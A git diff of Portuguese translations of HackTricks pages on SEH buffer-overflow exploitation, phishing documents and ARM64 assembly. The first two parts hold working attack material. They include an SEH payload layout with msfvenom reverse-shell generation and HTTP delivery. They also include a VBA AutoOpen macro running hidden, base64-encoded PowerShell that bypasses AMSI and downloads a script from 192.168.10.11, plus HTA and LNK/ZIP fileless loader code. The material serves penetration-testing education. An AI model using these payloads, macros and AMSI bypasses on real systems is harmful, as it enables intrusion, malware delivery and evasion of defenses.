+- Cause a falha no processo e verifique se a cadeia SEH foi sobrescrita (por exemplo, em x32dbg/x64dbg, verifique a SEH view).
+- Envie um padrão cíclico como os dados de overflow e calcule os offsets dos dois dwords que caem em nSEH e SEH.
 
 Example with peda/GEF/pwntools on a 1000-byte POST body:
 ```bash
@@ -33,16 +33,16 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
 # ➜ offsets example: nSEH=660, SEH=664
 ```
-Valide posicionando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível.
+Valide colocando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível.
 
 ---
 
 ## Escolhendo um POP POP RET (SEH gadget)
 
-Você precisa de uma sequência POP POP RET para desempilhar o quadro SEH e retornar para seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e idealmente sem ASLR:
+Você precisa de uma sequência POP POP RET para desempilhar o frame SEH e retornar para os seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e, idealmente, sem ASLR:
 
-- Mona (Immunity/WinDbg): `!mona modules` depois `!mona seh -m modulename`.
-- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar gadgets POP POP RET e o status do SafeSEH.
+- Mona (Immunity/WinDbg): `!mona modules` então `!mona seh -m modulename`.
+- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar POP POP RET gadgets e o status do SafeSEH.
 
 Escolha um endereço que não contenha badchars quando escrito little-endian (por exemplo, `p32(0x004094D8)`). Prefira gadgets dentro do binário vulnerável se as proteções permitirem.
 
@@ -50,9 +50,9 @@ Escolha um endereço que não contenha badchars quando escrito little-endian (po
 
 ## Técnica de jump-back (short + near jmp)
 
-nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (`EB xx`) mais padding. Se você precisar saltar centenas de bytes para trás para alcançar o início do seu buffer, use um near jump de 5 bytes colocado imediatamente antes de nSEH e encadeie para ele com um short jump a partir de nSEH.
+nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (`EB xx`) mais padding. Se você precisar saltar centenas de bytes para alcançar o início do seu buffer, use um near jump de 5 bytes colocado logo antes do nSEH e encadeie para ele com um short jump a partir do nSEH.
 
-Com nasmshell:
+With nasmshell:
 ```text
 nasm> jmp -660           ; too far for short; near jmp is 5 bytes
 E967FDFFFF
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-Ideia de layout para um payload de 1000 bytes com nSEH em offset 660:
+Ideia de layout para um payload de 1000 bytes com nSEH no offset 660:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -71,40 +71,38 @@ payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pa
 payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
 payload += b"D" * (buffer_length - len(payload))
 ```
-Fluxo de execução:
-- Ocorre uma exceção, o dispatcher usa o SEH sobrescrito.
-- POP POP RET desempilha para o nosso nSEH.
-- nSEH executa `jmp short -8` para o near jump de 5 bytes.
-- O near jump aterrissa no início do nosso buffer onde o NOP sled + shellcode residem.
+Execution flow:
+- Ocorre uma exceção; o dispatcher usa o SEH sobrescrito.
+- POP POP RET desempilha até o nosso nSEH.
+- nSEH executa `jmp short -8` no salto near de 5 bytes.
+- Near jump aterrissa no início do nosso buffer, onde residem o NOP sled + shellcode.
 
 ---
 
-## Caracteres problemáticos
+## Bad characters
 
-Construa uma badchar string completa e compare a memória da stack após o crash, removendo bytes que são corrompidos pelo parser alvo. Para HTTP-based overflows, `\x00\x0a\x0d` quase sempre são excluídos.
+Construa uma badchar string completa e compare a memória da pilha após o crash, removendo bytes que são corrompidos pelo parser alvo. Para overflows baseados em HTTP, `\x00\x0a\x0d` são quase sempre excluídos.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
 ```
 ---
 
-## Geração de Shellcode (x86)
+## Shellcode generation (x86)
 
-Use o msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variação no ponto de aterrissagem.
+Use msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variações na posição de aterrissagem.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-Se gerado dinamicamente, o formato hex é conveniente para incorporar e unhex em Python:
+Se gerado dinamicamente, o formato hex é conveniente para embutir e converter de hex em Python:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
 ```
----
+## Entregando via HTTP (precise CRLF + Content-Length)
 
-## Entrega via HTTP (CRLF preciso + Content-Length)
-
-Quando o vetor vulnerável for o corpo de uma requisição HTTP, construa um raw request com CRLFs exatos e Content-Length para que o servidor leia todo o corpo que transborda.
+Quando o vetor vulnerável é o corpo de uma HTTP request, crie uma raw request com CRLFs e Content-Length exatos para que o servidor leia todo o corpo que está transbordando.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -125,23 +123,23 @@ p.close()
 ```
 ---
 
-## Ferramentas
+## Tooling
 
-- x32dbg/x64dbg para observar a cadeia SEH e fazer triagem do crash.
-- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: `ERC --SEH`.
+- x32dbg/x64dbg para observar a cadeia SEH e fazer a triagem do crash.
+- ERC.Xdbg (plugin do x64dbg) para enumerar gadgets SEH: `ERC --SEH`.
 - Mona como alternativa: `!mona modules`, `!mona seh`.
 - nasmshell para montar short/near jumps e copiar opcodes brutos.
 - pwntools para criar payloads de rede precisos.
 
 ---
 
-## Notas e advertências
+## Notes and caveats
 
 - Aplica-se apenas a processos x86. x64 usa um esquema SEH diferente e exploração baseada em SEH geralmente não é viável.
-- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, localize um módulo não protegido carregado no processo.
-- Service watchdogs que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo de exploits.
+- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, encontre um módulo sem proteção carregado no processo.
+- Watchdogs de serviço que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo do exploit.
 
-## Referências
+## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
 - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,40 +1,40 @@
-# Arquivos e Documentos de Phishing
+# Arquivos & Documentos de Phishing
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Documentos do Office
 
-Microsoft Word realiza validação dos dados do arquivo antes de abri-lo. A validação é feita através da identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante essa identificação da estrutura de dados, o arquivo analisado não será aberto.
+Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura dos dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura dos dados, o arquivo sendo analisado não será aberto.
 
-Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo mudando a extensão e ainda assim manter sua capacidade de executar macros.\
+Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter suas capacidades de execução de macros.\
 Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\
-Os mesmos internos e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.).
+Os mesmos internos e mecanismos se aplicam a todo o software do Microsoft Office Suite (Excel, PowerPoint etc.).
 
 Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-Arquivos DOCX que referenciam um template remoto (Arquivo –Opções –Suplementos –Gerenciar: Modelos –Ir) que inclui macros também podem “executar” macros.
+Arquivos DOCX que fazem referência a um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros podem “executar” macros também.
 
 ### Carregamento de Imagem Externa
 
-Vá para: _Inserir --> Partes Rápidas --> Campo_\
-_**Categorias**: Links and References, **Nomes do campo**: includePicture, e **Nome do arquivo ou URL**:_ http://<ip>/whatever
+Ir para: _Insert --> Quick Parts --> Field_\
+_**Categorias**: Links e Referências, **Nomes de campo**: includePicture, e **Nome do arquivo ou URL**:_ http://<ip>/whatever
 
 ![](<../../images/image (155).png>)
 
-### Backdoor de Macros
+### Macros Backdoor
 
 É possível usar macros para executar código arbitrário a partir do documento.
 
-#### Funções de carregamento automático
+#### Funções Autoload
 
-Quanto mais comuns, mais provável que o AV as detecte.
+Quanto mais comuns forem, maior a probabilidade de o AV detectá-las.
 
 - AutoOpen()
 - Document_Open()
 
-#### Exemplos de código de macros
+#### Exemplos de Código de Macros
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@@ -64,26 +64,26 @@ Dim proc As Object
 Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
 proc.Create "powershell <beacon line generated>
 ```
-#### Manually remove metadata
+#### Remover metadados manualmente
 
-Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**.
+Vá em **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**.
 
-#### Doc Extension
+#### Extensão do Documento
 
-Quando terminar, selecione o dropdown **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\
-Faça isso porque você **não pode salvar macros dentro de um `.docx`** e existe um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam totalmente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
+When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
+Faça isso porque você não pode salvar macro's dentro de um **`.docx`** e há um **stigma** **around** a extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
 
-#### Malicious Macros Generators
+#### Geradores de Macros Maliciosos
 
 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
 
-## HTA Files
+## Arquivos HTA
 
-An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
+Um HTA é um programa do Windows que **combina HTML e linguagens de script (como VBScript e JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um browser.
 
-An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
+Um HTA é executado usando **`mshta.exe`**, que normalmente é **instalado** junto com o **Internet Explorer**, tornando **`mshta` dependente do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -138,9 +138,9 @@ var_func
 self.close
 </script>
 ```
-## Forcing NTLM Authentication
+## Forçando Autenticação NTLM
 
-Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.**
+Existem várias maneiras de **forçar NTLM authentication "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **acionar** uma **autenticação** apenas ao **abrir a pasta.**
 
 **Confira essas ideias e mais nas páginas a seguir:**
 
@@ -156,22 +156,22 @@ Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por
 
 ### NTLM Relay
 
-Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também **realizar NTLM relay attacks**:
+Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também realizar NTLM Relay attacks:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa totalmente em memória.
+Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader do PowerShell real é armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk recorta e o executa totalmente em memória.
 
 Fluxo típico implementado pelo one-liner PowerShell do .lnk:
 
-1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do current working directory.
-2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o payload PowerShell embutido.
+1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do diretório de trabalho atual.
+2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido.
 3) Copiar o ZIP para %ProgramData%, extrair lá, e abrir o .docx de isca para parecer legítimo.
-4) Contornar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
-5) Desofuscar a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la em memória.
+4) Bypassar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
+5) Deobfuscar a próxima etapa (por ex., remover todos os caracteres #) e executá-la em memória.
 
 Exemplo de esqueleto PowerShell para extrair e executar a etapa embutida:
 ```powershell
@@ -191,21 +191,21 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Notas
-- A entrega frequentemente abusa de subdomínios reputáveis de PaaS (por exemplo, *.herokuapp.com) e pode restringir payloads (servir ZIPs benignos com base no IP/UA).
-- A próxima etapa frequentemente decifra base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco.
+- A entrega frequentemente abusa de subdomínios PaaS reputados (por exemplo, *.herokuapp.com) e pode filtrar payloads (servir ZIPs benignos com base em IP/UA).
+- A etapa seguinte frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco.
 
 Persistência usada na mesma cadeia
-- COM TypeLib hijacking do Microsoft Web Browser control de modo que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui:
+- COM TypeLib hijacking do Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore re-execute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
 Hunting/IOCs
-- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo.
-- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca.
-- Alteração do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
-- Threads de negócio de longa duração terminando com links hospedados sob domínios PaaS confiáveis.
+- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) acrescentada aos dados do arquivo.
+- .lnk que enumera pastas parent/user para localizar o ZIP e abre um documento de isca.
+- Manipulação do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
+- Threads de negócios de longa duração que terminam com links hospedados em domínios PaaS confiáveis.
 
 ## Referências
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -4,252 +4,255 @@
 
 ## **Níveis de Exceção - EL (ARM64v8)**
 
-Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
+Na arquitetura ARMv8, os níveis de execução, conhecidos como Exception Levels (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
 
-1. **EL0 - Modo de Usuário**:
-- Este é o nível menos privilegiado e é usado para executar código de aplicativo regular.
-- Aplicativos que rodam em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade.
-2. **EL1 - Modo do Kernel do Sistema Operacional**:
+1. **EL0 - User Mode**:
+- Este é o nível com menor privilégio e é usado para executar código de aplicações regulares.
+- Aplicações executando em EL0 são isoladas umas das outras e do software do sistema, aumentando a segurança e a estabilidade.
+2. **EL1 - Operating System Kernel Mode**:
 - A maioria dos kernels de sistemas operacionais roda neste nível.
-- EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
-3. **EL2 - Modo de Hipervisor**:
-- Este nível é usado para virtualização. Um hipervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
+- EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
+3. **EL2 - Hypervisor Mode**:
+- Esse nível é usado para virtualização. Um hypervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
 - EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
-4. **EL3 - Modo de Monitor Seguro**:
-- Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
-- EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, OS confiável, etc.).
+4. **EL3 - Secure Monitor Mode**:
+- Este é o nível mais privilegiado e é frequentemente usado para secure boot e ambientes de execução confiáveis.
+- EL3 pode gerenciar e controlar acessos entre estados secure e non-secure (como secure boot, trusted OS, etc.).
 
-O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema.
+O uso desses níveis permite uma forma estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicações de usuário até o software de sistema mais privilegiado. A abordagem do ARMv8 para níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando a segurança e robustez do sistema.
 
-## **Registradores (ARM64v8)**
+## **Registros (ARM64v8)**
 
-ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
+ARM64 tem **31 registradores de uso geral**, rotulados `x0` até `x30`. Cada um pode armazenar um valor **64-bit** (8 bytes). Para operações que requerem apenas 32 bits, os mesmos registradores podem ser acessados em modo 32-bit usando os nomes `w0` até `w30`.
 
-1. **`x0`** a **`x7`** - Estes são tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
-- **`x0`** também carrega os dados de retorno de uma função.
-2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o que é usado!**
+1. **`x0`** a **`x7`** - Tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
+- **`x0`** também carrega os dados de retorno de uma função
+2. **`x8`** - No kernel do Linux, `x8` é usado como o número da system call para a instrução `svc`. **In macOS the x16 is the one used!**
 3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
-4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da Tabela de Ligação de Procedimentos (PLT).
-- **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** em **macOS**.
-5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa atualmente **executando no kernel do Linux**.
-6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador.
-7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**.
-- Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**.
-8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registrador.
-- Ele também pode ser usado como qualquer outro registrador.
-- Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
-9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
-- O valor de **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
-10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
-11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32** bits. Pode ser usado para obter o valor zero facilmente (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
+4. **`x16`** e **`x17`** - **Intra-procedural Call Registers**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
+- **`x16`** é usado como o **system call number** para a instrução **`svc`** em **macOS**.
+5. **`x18`** - **Platform register**. Pode ser usado como registrador de uso geral, mas em algumas plataformas este registrador é reservado para usos específicos da plataforma: ponteiro para o bloco de ambiente da thread atual no Windows, ou para apontar para a **executing task structure in linux kernel**.
+6. **`x19`** a **`x28`** - São registradores preservados pelo callee. Uma função deve preservar os valores desses registradores para seu caller, então eles são armazenados na stack e recuperados antes de retornar ao caller.
+7. **`x29`** - **Frame pointer** para rastrear o frame da stack. Quando um novo frame de stack é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na stack** e o **novo** endereço do frame pointer (endereço de **`sp`**) é **armazenado neste registrador**.
+- Este registrador também pode ser usado como registrador de uso geral embora normalmente seja usado como referência para **local variables**.
+8. **`x30`** ou **`lr`** - **Link register**. Guarda o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor do **`pc`** neste registrador.
+- Também pode ser usado como qualquer outro registrador.
+- Se a função atual for chamar uma nova função e portanto sobrescrever `lr`, ela irá armazená-lo na stack no início; isso é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) e recuperá-lo no final; isso é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return).
+9. **`sp`** - **Stack pointer**, usado para rastrear o topo da stack.
+- O valor de **`sp`** deve sempre ser mantido com pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
+10. **`pc`** - **Program counter**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de geração de exceções, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são as branch with link (BL, BLR) para armazenar o endereço do **`pc`** em **`lr`** (Link Register).
+11. **`xzr`** - **Zero register**. Também chamado **`wzr`** em sua forma de registrador **32**-bit. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando o resultado em lugar nenhum (em **`xzr`**).
 
-Os registradores **`Wn`** são a versão **32 bits** do registrador **`Xn`**.
+Os registradores **`Wn`** são a versão **32bit** do registrador **`Xn`**.
 
-### Registradores SIMD e de Ponto Flutuante
+> [!TIP]
+> Os registradores de X0 a X18 são voláteis, o que significa que seus valores podem ser alterados por chamadas de função e interrupções. Entretanto, os registradores de X19 a X28 são não-voláteis, significando que seus valores devem ser preservados através de chamadas de função ("callee saved").
 
-Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
+### SIMD e Registradores de Ponto-Flutuante
 
-### Registradores do Sistema
+Além disso, existem outros **32 registradores de 128bit** que podem ser usados em operações SIMD (single instruction multiple data) otimizadas e para realizar aritmética de ponto-flutuante. Estes são chamados de registradores Vn embora também possam operar em **64**-bit, **32**-bit, **16**-bit e **8**-bit e então são chamados **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
 
-**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
+### Registradores de Sistema
+
+**Existem centenas de registradores de sistema**, também chamados de special-purpose registers (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
 Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
 
-Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares rodam).\
-Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas que rodam em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel).
+Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao fazer reverse engineering. O sufixo `EL0` indica o **nível mínimo de exceção** a partir do qual o registrador pode ser acessado (neste caso EL0 é o nível de exceção regular em que programas normais rodam).\
